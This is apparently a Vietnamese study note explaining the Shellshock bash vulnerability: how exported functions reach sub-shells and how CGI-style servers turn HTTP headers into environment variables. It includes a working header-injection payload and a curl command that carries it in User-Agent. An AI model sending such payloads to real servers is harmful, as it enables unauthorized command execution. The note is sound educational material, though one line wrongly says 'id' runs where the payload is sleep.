What is Shellshock Vulnerability?
Tồn tại trong bash shell (một command language interpreter) cho phép attacker thực thi lệnh tùy ý thông qua một biến môi trường.
History of Shellshock Vulnerability
Được phát hiện năm 2014 và các phiên bản của bash shell từ 1.0.3 đến 4.3 đều bị ảnh hưởng.
How Can Shellshock Vulnerability Be Exploited?
Lỗ hổng shellshock xảy ra khi một biến môi trường nào đó được truyền vào bash shell và có một sub-shell (là bash shell trong bash shell khác) được tạo ra.
Trong bash shell, shell variable không được kế thừa bởi sub-shell:
$ t="hi there"
$ echo $t
hi there
$ bash
$ echo $t
$ exit
Tuy nhiên, nếu dùng lệnh export
thì sub-shell sẽ kế thừa biến:
$ echo $t
hi there
$ export t
$ bash
$ echo $t
hi there
$ exit
Lệnh export
sẽ biến t
trở thành một biến môi trường.
Đối với hàm cũng tương tự:
$ fn() { echo "test"; }
$ fn
test
$ bash
$ fn
fn: command not found
$ exit
$ export -f fn
$ bash
$ fn
test
$ exit
Option -f
cho biết ta muốn export hàm.
Hàm cũng có thể được định nghĩa thông qua toán tử gán bằng như sau:
$ fn='() { echo "test" ; }'
Important
Khi một sub-shell kế thừa biến
fn
được định nghĩa như trên, nó sẽ xem đây là một định nghĩa hàm và có thể thực thi các câu lệnh phía sau định nghĩa hàm.
Payload mà kẻ tấn công sử dụng sẽ bao gồm chuỗi () { :; };
và một câu lệnh tùy ý nào đó ở đằng sau. Ví dụ:
() { :;}; /usr/bin/sleep 5
Ký tự :
tương tứng với giá trị true
:
$ if true; then echo yes; fi
yes
$ if :; then echo yes; fi
yes
Xét request sau:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com
Các web server thường lưu giá trị của các header vào các biến môi trường để xử lý trong code. Ví dụ:
export HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
export HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
export HTTP_CACHE_CONTROL=no-cache
export HTTP_PRAGMA=no-cache
export HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
export HTTP_HOST=cloudflare.com
Attacker có thể truyền payload vào header User-Agent
như sau:
curl -H "User-Agent: () {:;}; /usr/bin/sleep 5" http://example.com/
Request có dạng như sau:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: () {:;}; /usr/bin/sleep 5
Host: cloudflare.com
Khi đó, biến môi trường HTTP_USER_AGENT
trở thành:
export HTTP_USER_AGENT=() {:;}; /usr/bin/sleep 5
Nếu sau đó có một sub-shell được tạo ra thì câu lệnh id
sẽ được thực thi.
Important
Việc sub-shell được tạo ra là điều kiện cần của lỗ hổng.
Related
list
from outgoing([[Shellshock]])
sort file.ctime asc